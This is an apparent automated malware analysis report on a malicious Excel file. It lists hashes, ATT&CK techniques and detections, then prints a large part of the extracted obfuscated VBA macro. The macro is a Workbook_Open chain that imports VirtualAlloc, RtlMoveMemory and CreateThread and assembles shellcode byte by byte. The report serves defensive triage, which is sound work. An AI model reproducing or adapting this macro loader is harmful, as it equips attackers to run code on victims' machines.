Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5836ffef21daa9bb…

MALICIOUS

Office (OLE)

208.0 KB Created: 2018-01-31 07:36:50 Authoring application: Microsoft Excel First seen: 2018-02-19
MD5: 89ef57a483b2ccf41ce5da0e4f5b50be SHA-1: 3ac45139614351f8ba4c6f48cf0c44606970e739 SHA-256: 5836ffef21daa9bb5aa52dbff5b73ef389f783d04705bf44f0ad36e417c11428
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The file is an Excel document containing obfuscated VBA macros, including a Workbook_Open subroutine. The presence of VirtualAlloc API calls and the ClamAV detection signature 'Doc.Dropper.Agent-6440883-0' strongly suggest that the macro is designed to download and execute a secondary payload. The obfuscation and use of a Workbook_Open event are common techniques for malware droppers.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6440883-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6440883-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub woRKBOok_oPeN()
Call pG43NIgHfUof9Gu
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 77172 bytes
SHA-256: d63394309e92639e8aa703849fc4fe3b6a22e9e6684236e1026fec71d28e7a74
Detection
ClamAV: No threats found
Obfuscation or payload: likely
186 of 319 identifiers look randomly generated (e.g. 'H4QzNSa9DQuZpcQ5T4Gvny2bz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If vba7 Then
PrIvATe decLARe PtrSaFe FuNCtIoN w1DqUHzcijD6EZpC liB "kErnEL32" ALias "CreateThread" (ByVAl lAwZ as lOnGPtr, bYvaL TSsHrG aS lonG, bYvAl RyO As loNGPtR, byVAL RuUJBw2FVo6 aS LOngpTr, BYval m7Vcybne0 as LoNg, Klp6C7pqq7twC aS LOng)  As lOnGptR
PrivaTE DeClaRe PtrSAFE FuNCtion TPmuzbUCZdYy lIb "KerNEL32" AliaS "VirtualAlloc" (bYVal m9Nq aS loNgPTr, byvAL RC2 as LoNgPTr, ByVal SQbNI As lONg, ByVal h5iOZVkI as LoNg)  AS LOngpTr
pRivAtE deCLARe ptRsAFe Sub bei5V6INfOonJwAvzIU LIb "keRnEL32" aLiAS "RtlMoveMemory" (ByRef Xh6G aS aNY, ByRef xQOLHI As ANY, bYvaL PSAzdQgdF As lOng)

#Else
Private Declare Function W1dquhZCIjD6ezPc Lib "kErNEl32" Alias "CreateThread" (ByVal SapriAhxqsdN As Long, ByVal HGMNT As Long, ByVal pnwMfT As Long, ByVal DHoGtVu81d As Long, ByVal XXSu As Long, B7kc5viy As Long) As Long
Private Declare Function TPMuZbuCzDyy Lib "kErNEl32" Alias "VirtualAlloc" (ByVal ShDsC As Long, ByVal UrVqyBJ As Long, ByVal HrG As Long, ByVal XNuC3TscX As Long) As Long
Private Declare Sub beI5V6InFooNjWavZIU Lib "kErNEl32" Alias "RtlMoveMemory" (ByRef PbCCn As Any, ByRef r1eGzxyEJh As Any, ByVal GsPvYCDn As Long)

#End If

Sub woRKBOok_oPeN()
Call pG43NIgHfUof9Gu
End Sub
Static Function pG43NIgHfUof9Gu() As Currency
Call LEMXnmSDtGctXIOrp
End Function
Public Function LEMXnmSDtGctXIOrp() As Object
Call k2z7aw3rymRViCRTsGJnMITFc
End Function
Public Function k2z7aw3rymRViCRTsGJnMITFc() As Boolean
Call JJmyBpEcfTkqN7
End Function
Public Function JJmyBpEcfTkqN7() As String
Call wuPV0GpxO4vZI8bNsyt5q
End Function
Static Function wuPV0GpxO4vZI8bNsyt5q() As Single
Call q7368tpQaxdq
End Function
Sub q7368tpQaxdq()
Call CrpyaTnC2lv2
End Sub
Static Function CrpyaTnC2lv2() As Date
Call ZTgINLYgPVYYBP
End Function
Public Function ZTgINLYgPVYYBP() As Object
Call Uo1XGSp3yY7xSGlrmGTfa
End Function
Static Function Uo1XGSp3yY7xSGlrmGTfa() As Single
Call WZz4yxHay5PI
End Function
Public Function WZz4yxHay5PI() As Boolean
Call ddQGlzeqbN6GFvO011
End Function
Static Function ddQGlzeqbN6GFvO011() As Double
Call SGVRYm1Fm8Rl4G3P42N
End Function
Function SGVRYm1Fm8Rl4G3P42N() As String
Call YlhUo1fo03DCO7diGlXQgb
End Function
Function YlhUo1fo03DCO7diGlXQgb() As Byte
Call zoyhj6kfnke7Lmy3t8wVd
End Function
Static Function zoyhj6kfnke7Lmy3t8wVd() As Integer
Call m51WCfnOqxx8wLzEw7TMgfNY
End Function
Static Function m51WCfnOqxx8wLzEw7TMgfNY() As Currency
Call feQh7UOlt865XGQxva4Rb
End Function
Static Function feQh7UOlt865XGQxva4Rb() As Date
Call ZlI09FGWhr6sdv6kTv
End Function
Static Function ZlI09FGWhr6sdv6kTv() As Integer
Call qRlwSbjk2j5SqZhwI3pq
End Function
Public Function qRlwSbjk2j5SqZhwI3pq() As Boolean
Call RpU4HzMszzEaX9
End Function
Public Function RpU4HzMszzEaX9() As Object
Call EAzrucvjm21rCIdfSmFvE
End Function
Static Function EAzrucvjm21rCIdfSmFvE() As Variant
Call rp685Dkw7XYS3P8y
End Function
Function rp685Dkw7XYS3P8y() As Single
Call Uu5J6Ut1iopfu
End Function
Static Function Uu5J6Ut1iopfu() As Currency
Call ru81pSIxfa2Dr
End Function
Static Function ru81pSIxfa2Dr() As Integer
Call upZ4qp9KEnVs
End Function
Sub upZ4qp9KEnVs()
Call SzlASJVKQRhs
End Sub
Static Function SzlASJVKQRhs() As Double
Call ueNF6KjBOMJ98MZdOkd
End Function
Function ueNF6KjBOMJ98MZdOkd() As Byte
Call j6Iljg2plskVfQSP5SCvJ4kNt
End Function
Public Function j6Iljg2plskVfQSP5SCvJ4kNt() As Object
Call wybJOwRxYi5LCerpe4PfU
End Function
Static Function wybJOwRxYi5LCerpe4PfU() As Variant
Call Thum3TiUJ78KdRoE
End Function
Function Thum3TiUJ78KdRoE() As Currency
Call B7CADZaqbHm49RoKFf
End Function
Static Function B7CADZaqbHm49RoKFf() As Double
Call ucn3Oi1TImZdWi1JkSZ
End Function
Function ucn3Oi1TImZdWi1JkSZ() As Byte
Call H4QzNSa9DQuZpcQ5T4Gvny2bz
End Function
Public Function H4QzNSa9DQuZpcQ5T4Gvny2bz() As Byte
Call XTCUBvWYF3qkflG4
End Function
Function XTCUBvWYF3qkflG4() As Variant
Call gZTQyZ1iyz3OKZ
End Function
Function gZTQyZ1iyz3OKZ() As Object
Call wP9KsTTKUNn2ULb4aR1msF
End Function
Function wP9KsTTKUNn2ULb4aR1msF() As Byte
Call vgC7pqGx346VLYq3v0APZ
End Function
Static Function vgC7pqGx346VLYq3v0APZ() As Double
Call OUzjEeTBwyZR6Sjba8HBe29
End Function
Private Function OUzjEeTBwyZR6Sjba8HBe29() As Integer
Call qVFGWt7mQ5p4qDLuyvnMUzDq
End Function
Static Function qVFGWt7mQ5p4qDLuyvnMUzDq() As Single
Call apLKeHJ4aV1Is7XUcFJCqLRi
End Function
Static Function apLKeHJ4aV1Is7XUcFJCqLRi() As Single
Call CD52u1xWSrncA3ZkIXnk05LU
End Function
Static Function CD52u1xWSrncA3ZkIXnk05LU() As Single
Call SRVyAXhq2BTsKBtgkXH6I75s
End Function
Static Function SRVyAXhq2BTsKBtgkXH6I75s() As Single
Call qnfCIBFEmTLOyfPii1LqcLrY
End Function
Static Function qnfCIBFEmTLOyfPii1LqcLrY() As Single
Call S17IeNlOilDUi73KQH12o9pG
End Function
Static Function S17IeNlOilDUi73KQH12o9pG() As Single
Call GPPMa1vYI3tWADFycZLmkvBC
End Function
Static Function GPPMa1vYI3tWADFycZLmkvBC() As Single
Call Oh5yyztu2t9KSZR6YfteI3Z4
End Function
Static Function Oh5yyztu2t9KSZR6YfteI3Z4() As Currency
Call fiABreuHpCAL1AwpDiITB
End Function
Static Function fiABreuHpCAL1AwpDiITB() As Integer
Call i9JeYzVWujh0wBx8WpLa8XDw
End Function
Static Function i9JeYzVWujh0wBx8WpLa8XDw() As Single
Call KpTOypzg2HZYMjdS4RLKA9Jq
End Function
Static Function KpTOypzg2HZYMjdS4RLKA9Jq() As Currency
Call j0IZzskRjC47Vamvl2GDf
End Function
Static Function j0IZzskRjC47Vamvl2GDf() As Integer
Call mTbYs7hoYjVGg1z0uZ9Gm7Re
End Function
Static Function mTbYs7hoYjVGg1z0uZ9Gm7Re() As Single
Call qxBA6NHAwBh4mXz8g73c4lpy
End Function
Static Function qxBA6NHAwBh4mXz8g73c4lpy() As Variant
Call P1soDPAOnZS0
End Function
Sub P1soDPAOnZS0()
Call THIKN3U4Jzei
End Sub
Static Function THIKN3U4Jzei() As Currency
Call PWyL7SIRFk2Bj
End Function
Static Function PWyL7SIRFk2Bj() As Integer
Call qbfokvVyMVti
End Function
Public Function qbfokvVyMVti() As Boolean
Call hb40hzYYlpcYLTw0xv
End Function
Static Function hb40hzYYlpcYLTw0xv() As Integer
Call KrbIitramvn4svPGepBU
End Function
Public Function KrbIitramvn4svPGepBU() As Long
Call PwGtL0MZDAEDH
End Function
Static Function PwGtL0MZDAEDH() As Date
Call FPWs1xmqRRwu5JOKJh0k1J
End Function
Public Function FPWs1xmqRRwu5JOKJh0k1J() As String
Call gSxxYcHN2m7zICJv4
End Function
Sub gSxxYcHN2m7zICJv4()
Call GTlsMBzkAVba
End Sub
Static Function GTlsMBzkAVba() As Integer
Call G7DOSnpA65ZiuDHgY97s
End Function
Public Function G7DOSnpA65ZiuDHgY97s() As Long
Call Hw0JVC8LbSyBh
End Function
Static Function Hw0JVC8LbSyBh() As Double
Call G817aKTFK8p
End Function
Function G817aKTFK8p() As String
Call ollCotNEMP
End Function
Private Function ollCotNEMP() As Date
Call NJM0pLc6RxqUZR2UV7G011
End Function
Public Function NJM0pLc6RxqUZR2UV7G011() As Object
Call cepFEqVdO4RB2UbDu
End Function
Sub cepFEqVdO4RB2UbDu()
Call Gdr0enPiOzL8
End Sub
Static Function Gdr0enPiOzL8() As Date
Call NBCMZTwo7Zuub7
End Function
Public Function NBCMZTwo7Zuub7() As String
Call BOebPkOvhMm3rCErN0s
End Function

Public Function gpTacfF(ByVal yO7JEo5Fwul As Double, ByVal p1syNZ As Long, ByVal VcmdVGyXJ As Currency, ByVal bs2 As Long, ByRef ax3m As Variant) As String
ax3m(0) = 233
ax3m(1) = 48
ax3m(p1syNZ + 2) = 1
ax3m(p1syNZ + 3) = 0
ax3m(p1syNZ + 4) = 0
ax3m(5) = 217
ax3m(p1syNZ + 6) = 117
ax3m(7) = 6
ax3m(8) = 170
ax3m(p1syNZ + 9) = 131
ax3m(10) = 175
ax3m(p1syNZ + 11) = 80
ax3m(12) = 132
ax3m(13) = 109
ax3m(p1syNZ + 14) = 41
ax3m(p1syNZ + 15) = 218
ax3m(p1syNZ + 16) = 158
ax3m(p1syNZ + 17) = 151
ax3m(18) = 227
ax3m(19) = 164
ax3m(20) = 248
ax3m(p1syNZ + 21) = 1
ax3m(22) = 221
ax3m(p1syNZ + 23) = 174
ax3m(p1syNZ + 24) = 146
ax3m(25) = 171
ax3m(p1syNZ + 26) = 23
ax3m(27) = 248
ax3m(p1syNZ + 28) = 108
ax3m(p1syNZ + 29) = 149
ax3m(30) = 145
ax3m(31) = 130
ax3m(32) = 134
ax3m(33) = 191
ax3m(p1syNZ + 34) = 75
ax3m(p1syNZ + 35) = 76
ax3m(p1syNZ + 36) = 224
ax3m(37) = 41
ax3m(p1syNZ + 38) = 69
ax3m(39) = 86
ax3m(40) = 122
ax3m(p1syNZ + 41) = 211
ax3m(42) = 127
ax3m(p1syNZ + 43) = 160
ax3m(44) = 84
ax3m(45) = 189
ax3m(p1syNZ + 46) = 249
ax3m(p1syNZ + 47) = 42
ax3m(p1syNZ + 48) = 110
ax3m(p1syNZ + 49) = 231
ax3m(50) = 179
ax3m(51) = 244
ax3m(52) = 200
ax3m(p1syNZ + 53) = 81
ax3m(54) = 173
ax3m(p1syNZ + 55) = 254
ax3m(p1syNZ + 56) = 98
ax3m(57) = 251
ax3m(p1syNZ + 58) = 231
ax3m(59) = 72

End Function
Private Function uEl5kI(ByRef v5wat As Variant, ByVal LloApb As Integer, ByRef XWmL As Object, ByVal ztUExNGcD As Long, ByVal VNasfXO8DR As Long) As Integer
v5wat(VNasfXO8DR + 0) = 60
v5wat(VNasfXO8DR + 1) = 229
v5wat(62) = 97
v5wat(VNasfXO8DR + 3) = 210
v5wat(64) = 86
v5wat(65) = 15
v5wat(VNasfXO8DR + 6) = 27
v5wat(67) = 156
v5wat(VNasfXO8DR + 8) = 176
v5wat(69) = 121
v5wat(70) = 21
v5wat(VNasfXO8DR + 11) = 166
v5wat(VNasfXO8DR + 12) = 74
v5wat(VNasfXO8DR + 13) = 35
v5wat(VNasfXO8DR + 14) = 79
v5wat(75) = 240
v5wat(76) = 36
v5wat(77) = 13
v5wat(VNasfXO8DR + 18) = 201
v5wat(79) = 122
v5wat(VNasfXO8DR + 20) = 62
v5wat(VNasfXO8DR + 21) = 55

End Function
Public Function ERRGGhJ(ByVal CYFza As Long, ByVal uebj As Long, ByRef V0MN As Variant) As Object
V0MN(CYFza + 0) = 131
V0MN(83) = 68
V0MN(84) = 152
V0MN(CYFza + 3) = 161
V0MN(86) = 125
V0MN(CYFza + 5) = 78
V0MN(88) = 50
V0MN(89) = 75
V0MN(CYFza + 8) = 183
V0MN(CYFza + 9) = 152
V0MN(CYFza + 10) = 12
V0MN(CYFza + 11) = 53
V0MN(94) = 49
V0MN(95) = 34
V0MN(96) = 38
V0MN(CYFza + 15) = 95
V0MN(98) = 235
V0MN(CYFza + 17) = 236
V0MN(CYFza + 18) = 128
V0MN(101) = 201
V0MN(CYFza + 20) = 229
V0MN(103) = 246
V0MN(CYFza + 22) = 26
V0MN(CYFza + 23) = 115
V0MN(106) = 31
V0MN(107) = 64
V0MN(108) = 244
V0MN(109) = 93
V0MN(CYFza + 28) = 153
V0MN(CYFza + 29) = 202
V0MN(CYFza + 30) = 14
V0MN(113) = 135
V0MN(CYFza + 32) = 83
V0MN(115) = 148
V0MN(116) = 104
V0MN(CYFza + 35) = 241
V0MN(118) = 77
V0MN(CYFza + 37) = 158
V0MN(120) = 2
V0MN(121) = 155
V0MN(CYFza + 40) = 135
V0MN(CYFza + 41) = 232
V0MN(CYFza + 42) = 220
V0MN(CYFza + 43) = 133
V0MN(126) = 1
V0MN(127) = 114
V0MN(128) = 246
V0MN(CYFza + 47) = 175
V0MN(130) = 187
V0MN(CYFza + 49) = 60
V0MN(CYFza + 50) = 80
V0MN(133) = 25
V0MN(CYFza + 52) = 181
V0MN(135) = 70
V0MN(CYFza + 54) = 234
V0MN(CYFza + 55) = 195
V0MN(138) = 239
V0MN(139) = 144
V0MN(140) = 196
V0MN(141) = 173
V0MN(CYFza + 60) = 105
V0MN(CYFza + 61) = 26
V0MN(CYFza + 62) = 222
V0MN(145) = 215
V0MN(CYFza + 64) = 35
V0MN(147) = 228
V0MN(148) = 56
V0MN(CYFza + 67) = 65
V0MN(150) = 29
V0MN(CYFza + 69) = 238
V0MN(152) = 210
V0MN(153) = 235

End Function
Static Function jTy2hJ(ByVal wIVjQGV74 As Long, ByVal yeJjcAB7kq As Object, ByVal krhgsFbgg As Long, ByRef K1PaG5BsMH98 As Long, ByRef WGpv8iRn As Variant) As Variant
WGpv8iRn(krhgsFbgg + 0) = 87
WGpv8iRn(krhgsFbgg + 1) = 56
WGpv8iRn(156) = 172
WGpv8iRn(krhgsFbgg + 3) = 213
WGpv8iRn(158) = 209
WGpv8iRn(159) = 194
WGpv8iRn(krhgsFbgg + 6) = 198
WGpv8iRn(161) = 255
WGpv8iRn(krhgsFbgg + 8) = 139
WGpv8iRn(163) = 140
WGpv8iRn(164) = 32
WGpv8iRn(krhgsFbgg + 11) = 105
WGpv8iRn(krhgsFbgg + 12) = 133
WGpv8iRn(krhgsFbgg + 13) = 150
WGpv8iRn(krhgsFbgg + 14) = 186
WGpv8iRn(169) = 19
WGpv8iRn(170) = 191
WGpv8iRn(171) = 224
WGpv8iRn(krhgsFbgg + 18) = 148
WGpv8iRn(173) = 253
WGpv8iRn(krhgsFbgg + 20) = 57
WGpv8iRn(krhgsFbgg + 21) = 106
WGpv8iRn(176) = 174
WGpv8iRn(krhgsFbgg + 23) = 39
WGpv8iRn(178) = 243
WGpv8iRn(krhgsFbgg + 25) = 52
WGpv8iRn(krhgsFbgg + 26) = 8
WGpv8iRn(181) = 145
WGpv8iRn(182) = 237
WGpv8iRn(183) = 62
WGpv8iRn(184) = 162
WGpv8iRn(krhgsFbgg + 31) = 59
WGpv8iRn(krhgsFbgg + 32) = 39
WGpv8iRn(krhgsFbgg + 33) = 136
WGpv8iRn(188) = 124
WGpv8iRn(krhgsFbgg + 35) = 37
WGpv8iRn(190) = 161
WGpv8iRn(191) = 18
WGpv8iRn(krhgsFbgg + 38) = 150
WGpv8iRn(193) = 79
WGpv8iRn(krhgsFbgg + 40) = 91
WGpv8iRn(195) = 220
WGpv8iRn(196) = 240
WGpv8iRn(krhgsFbgg + 43) = 185
WGpv8iRn(krhgsFbgg + 44) = 85
WGpv8iRn(krhgsFbgg + 45) = 230
WGpv8iRn(krhgsFbgg + 46) = 138
WGpv8iRn(201) = 99
WGpv8iRn(202) = 143
WGpv8iRn(203) = 48
WGpv8iRn(krhgsFbgg + 50) = 100
WGpv8iRn(205) = 77
WGpv8iRn(krhgsFbgg + 52) = 9
WGpv8iRn(krhgsFbgg + 53) = 186
WGpv8iRn(208) = 126
WGpv8iRn(krhgsFbgg + 55) = 119
WGpv8iRn(210) = 195
WGpv8iRn(krhgsFbgg + 57) = 132
WGpv8iRn(krhgsFbgg + 58) = 216
WGpv8iRn(213) = 225
WGpv8iRn(214) = 189
WGpv8iRn(215) = 142
WGpv8iRn(216) = 114
WGpv8iRn(krhgsFbgg + 63) = 139
WGpv8iRn(krhgsFbgg + 64) = 247
WGpv8iRn(krhgsFbgg + 65) = 216
WGpv8iRn(220) = 76
WGpv8iRn(krhgsFbgg + 67) = 117
WGpv8iRn(222) = 113
WGpv8iRn(223) = 98
WGpv8iRn(krhgsFbgg + 70) = 102
WGpv8iRn(225) = 159
WGpv8iRn(krhgsFbgg + 72) = 43
WGpv8iRn(227) = 44
WGpv8iRn(228) = 192
WGpv8iRn(krhgsFbgg + 75) = 9
WGpv8iRn(krhgsFbgg + 76) = 37
WGpv8iRn(krhgsFbgg + 77) = 54
WGpv8iRn(krhgsFbgg + 78) = 90
WGpv8iRn(233) = 179
WGpv8iRn(234) = 95
WGpv8iRn(235) = 128
WGpv8iRn(krhgsFbgg + 82) = 52
WGpv8iRn(237) = 157
WGpv8iRn(krhgsFbgg + 84) = 217
WGpv8iRn(krhgsFbgg + 85) = 10
WGpv8iRn(240) = 78
WGpv8iRn(krhgsFbgg + 87) = 199
WGpv8iRn(242) = 147
WGpv8iRn(krhgsFbgg + 89) = 212
WGpv8iRn(krhgsFbgg + 90) = 168
WGpv8iRn(245) = 49
WGpv8iRn(246) = 141
WGpv8iRn(247) = 222
WGpv8iRn(248) = 66
WGpv8iRn(krhgsFbgg + 95) = 219
WGpv8iRn(krhgsFbgg + 96) = 199
WGpv8iRn(krhgsFbgg + 97) = 40
WGpv8iRn(252) = 28

End Function
Private Function XlQq(ByVal LTAKjhKW As Long, ByRef g7jQY As Variant, ByVal c3REuT7go5Dqc As Long) As Single
g7jQY(c3REuT7go5Dqc + 0) = 197
g7jQY(254) = 65
g7jQY(255) = 178
g7jQY(256) = 54
g7jQY(257) = 239
g7jQY(c3REuT7go5Dqc + 5) = 251
g7jQY(c3REuT7go5Dqc + 6) = 124
g7jQY(c3REuT7go5Dqc + 7) = 144
g7jQY(261) = 89
g7jQY(c3REuT7go5Dqc + 9) = 245
g7jQY(263) = 134

End Function
Static Function QgbhKG39g0Zx(ByVal sI3DIO As Long, ByVal MxLCsVrw0 As Currency, ByVal aFN As Boolean, ByRef Vgwd12odV As Variant, ByVal zGOxfCw As Long) As Byte
Vgwd12odV(zGOxfCw + 0) = 42
Vgwd12odV(265) = 3
Vgwd12odV(zGOxfCw + 2) = 47
Vgwd12odV(zGOxfCw + 3) = 208
Vgwd12odV(268) = 4
Vgwd12odV(zGOxfCw + 5) = 237
Vgwd12odV(270) = 169
Vgwd12odV(zGOxfCw + 7) = 90
Vgwd12odV(zGOxfCw + 8) = 30
Vgwd12odV(273) = 23
Vgwd12odV(274) = 99
Vgwd12odV(275) = 36
Vgwd12odV(276) = 120
Vgwd12odV(zGOxfCw + 13) = 129
Vgwd12odV(zGOxfCw + 14) = 93
Vgwd12odV(zGOxfCw + 15) = 46
Vgwd12odV(280) = 18
Vgwd12odV(zGOxfCw + 17) = 43
Vgwd12odV(282) = 151
Vgwd12odV(283) = 120
Vgwd12odV(zGOxfCw + 20) = 236
Vgwd12odV(285) = 21
Vgwd12odV(zGOxfCw + 22) = 17
Vgwd12odV(287) = 2
Vgwd12odV(288) = 6
Vgwd12odV(zGOxfCw + 25) = 63
Vgwd12odV(zGOxfCw + 26) = 203
Vgwd12odV(zGOxfCw + 27) = 204
Vgwd12odV(zGOxfCw + 28) = 96
Vgwd12odV(293) = 169
Vgwd12odV(294) = 197
Vgwd12odV(295) = 214

End Function
Public Function eZbu(ByRef OJZYC As Long, ByRef anvASVJEu3 As Variant, ByRef dlO0fdg As Boolean, ByRef OKRteo1fIK As Double, ByVal EvNS As String, ByVal cAVno As Long, ByVal U8fTywpZoEVvo As Long) As Integer
anvASVJEu3(296) = 250
anvASVJEu3(cAVno + 1) = 83
anvASVJEu3(298) = 255
anvASVJEu3(cAVno + 3) = 32
anvASVJEu3(cAVno + 4) = 212
anvASVJEu3(301) = 61
anvASVJEu3(cAVno + 6) = 121
anvASVJEu3(303) = 170
anvASVJEu3(cAVno + 8) = 238
anvASVJEu3(cAVno + 9) = 103
anvASVJEu3(306) = 51
anvASVJEu3(307) = 116
anvASVJEu3(308) = 72
anvASVJEu3(309) = 235
anvASVJEu3(cAVno + 14) = 10
anvASVJEu3(cAVno + 15) = 233
anvASVJEu3(cAVno + 16) = 245
anvASVJEu3(313) = 0
anvASVJEu3(cAVno + 18) = 0
anvASVJEu3(315) = 0
anvASVJEu3(316) = 233
anvASVJEu3(cAVno + 21) = 25
anvASVJEu3(318) = 1
anvASVJEu3(cAVno + 23) = 0
anvASVJEu3(320) = 0
anvASVJEu3(321) = 85
anvASVJEu3(cAVno + 26) = 156
anvASVJEu3(cAVno + 27) = 87
anvASVJEu3(cAVno + 28) = 80
anvASVJEu3(cAVno + 29) = 81
anvASVJEu3(326) = 141
anvASVJEu3(327) = 128
anvASVJEu3(328) = 113
anvASVJEu3(cAVno + 33) = 42
anvASVJEu3(330) = 0
anvASVJEu3(cAVno + 35) = 0
anvASVJEu3(cAVno + 36) = 141
anvASVJEu3(333) = 135
anvASVJEu3(cAVno + 38) = 7
anvASVJEu3(335) = 12
anvASVJEu3(cAVno + 40) = 0
anvASVJEu3(cAVno + 41) = 0
anvASVJEu3(338) = 141
anvASVJEu3(339) = 128
anvASVJEu3(340) = 114
anvASVJEu3(341) = 52
anvASVJEu3(cAVno + 46) = 0
anvASVJEu3(cAVno + 47) = 0
anvASVJEu3(cAVno + 48) = 141
anvASVJEu3(345) = 129
anvASVJEu3(cAVno + 50) = 50
anvASVJEu3(347) = 49
anvASVJEu3(348) = 0
anvASVJEu3(cAVno + 53) = 0
anvASVJEu3(350) = 141
anvASVJEu3(cAVno + 55) = 191
anvASVJEu3(352) = 81
anvASVJEu3(353) = 3
anvASVJEu3(cAVno + 58) = 0
anvASVJEu3(cAVno + 59) = 0
anvASVJEu3(cAVno + 60) = 141
anvASVJEu3(cAVno + 61) = 137
anvASVJEu3(358) = 160
anvASVJEu3(359) = 68
anvASVJEu3(360) = 0
anvASVJEu3(cAVno + 65) = 0
anvASVJEu3(362) = 89
anvASVJEu3(cAVno + 67) = 88
anvASVJEu3(cAVno + 68) = 95
anvASVJEu3(365) = 157
anvASVJEu3(cAVno + 70) = 233
anvASVJEu3(367) = 192
anvASVJEu3(cAVno + 72) = 0
anvASVJEu3(cAVno + 73) = 0
anvASVJEu3(370) = 0
anvASVJEu3(371) = 235
anvASVJEu3(372) = 86
anvASVJEu3(373) = 233
anvASVJEu3(cAVno + 78) = 0
anvASVJEu3(cAVno + 79) = 2
anvASVJEu3(cAVno + 80) = 0
anvASVJEu3(377) = 0
anvASVJEu3(cAVno + 82) = 81
anvASVJEu3(379) = 89
anvASVJEu3(380) = 233
anvASVJEu3(cAVno + 85) = 79

End Function
Static Function lXkS9NAu7h4(ByRef k3B4 As Date, ByVal AwfZkqrlWopPY As Object, ByVal UuP1wM As Long, ByVal YNR8kZf4e As Long, ByRef uZRK6NrgO As Variant) As Long
uZRK6NrgO(UuP1wM + 0) = 1
uZRK6NrgO(383) = 0
uZRK6NrgO(384) = 0
uZRK6NrgO(385) = 233
uZRK6NrgO(386) = 249
uZRK6NrgO(UuP1wM + 5) = 0
uZRK6NrgO(UuP1wM + 6) = 0
uZRK6NrgO(UuP1wM + 7) = 0
uZRK6NrgO(390) = 233
uZRK6NrgO(UuP1wM + 9) = 46
uZRK6NrgO(392) = 3
uZRK6NrgO(393) = 0
uZRK6NrgO(UuP1wM + 12) = 0
uZRK6NrgO(395) = 233
uZRK6NrgO(UuP1wM + 14) = 22
uZRK6NrgO(397) = 1
uZRK6NrgO(398) = 0
uZRK6NrgO(UuP1wM + 17) = 0
uZRK6NrgO(UuP1wM + 18) = 233
uZRK6NrgO(UuP1wM + 19) = 141
uZRK6NrgO(UuP1wM + 20) = 0
uZRK6NrgO(403) = 0
uZRK6NrgO(404) = 0
uZRK6NrgO(405) = 235
uZRK6NrgO(UuP1wM + 24) = 244
uZRK6NrgO(407) = 233
uZRK6NrgO(UuP1wM + 26) = 170
uZRK6NrgO(UuP1wM + 27) = 1
uZRK6NrgO(410) = 0
uZRK6NrgO(UuP1wM + 29) = 0
uZRK6NrgO(412) = 233
uZRK6NrgO(UuP1wM + 31) = 66
uZRK6NrgO(UuP1wM + 32) = 2
uZRK6NrgO(415) = 0
uZRK6NrgO(416) = 0
uZRK6NrgO(417) = 233
uZRK6NrgO(418) = 177
uZRK6NrgO(UuP1wM + 37) = 1
uZRK6NrgO(UuP1wM + 38) = 0
uZRK6NrgO(UuP1wM + 39) = 0
uZRK6NrgO(422) = 233
uZRK6NrgO(UuP1wM + 41) = 202
uZRK6NrgO(424) = 0
uZRK6NrgO(425) = 0
uZRK6NrgO(UuP1wM + 44) = 0
uZRK6NrgO(427) = 233
uZRK6NrgO(UuP1wM + 46) = 51
uZRK6NrgO(429) = 2
uZRK6NrgO(430) = 0
uZRK6NrgO(UuP1wM + 49) = 0
uZRK6NrgO(UuP1wM + 50) = 233
uZRK6NrgO(UuP1wM + 51) = 153
uZRK6NrgO(UuP1wM + 52) = 0
uZRK6NrgO(435) = 0
uZRK6NrgO(436) = 0
uZRK6NrgO(437) = 233
uZRK6NrgO(UuP1wM + 56) = 244
uZRK6NrgO(439) = 2
uZRK6NrgO(UuP1wM + 58) = 0
uZRK6NrgO(UuP1wM + 59) = 0
uZRK6NrgO(442) = 235
uZRK6NrgO(UuP1wM + 61) = 25
uZRK6NrgO(444) = 233
uZRK6NrgO(UuP1wM + 63) = 194
uZRK6NrgO(UuP1wM + 64) = 1
uZRK6NrgO(447) = 0
uZRK6NrgO(448) = 0
uZRK6NrgO(449) = 233
uZRK6NrgO(450) = 202
uZRK6NrgO(UuP1wM + 69) = 0
uZRK6NrgO(UuP1wM + 70) = 0
uZRK6NrgO(UuP1wM + 71) = 0
uZRK6NrgO(454) = 233
uZRK6NrgO(UuP1wM + 73) = 160
uZRK6NrgO(456) = 0
uZRK6NrgO(457) = 0
uZRK6NrgO(UuP1wM + 76) = 0

End Function
Sub dJo(ByRef ovrWCt As Object, ByVal dneuzpUUXNwW As Long, ByVal E9re As Long, ByRef AAfT As Variant)
AAfT(dneuzpUUXNwW + 0) = 233
AAfT(dneuzpUUXNwW + 1) = 54
AAfT(461) = 1
AAfT(dneuzpUUXNwW + 3) = 0
AAfT(463) = 0
AAfT(464) = 233
AAfT(dneuzpUUXNwW + 6) = 217
AAfT(466) = 2
AAfT(dneuzpUUXNwW + 8) = 0
AAfT(468) = 0
AAfT(469) = 93
AAfT(dneuzpUUXNwW + 11) = 129
AAfT(dneuzpUUXNwW + 12) = 197
AAfT(dneuzpUUXNwW + 13) = 147
AAfT(dneuzpUUXNwW + 14) = 2
AAfT(474) = 0
AAfT(475) = 0
AAfT(476) = 233
AAfT(dneuzpUUXNwW + 18) = 247
AAfT(478) = 1
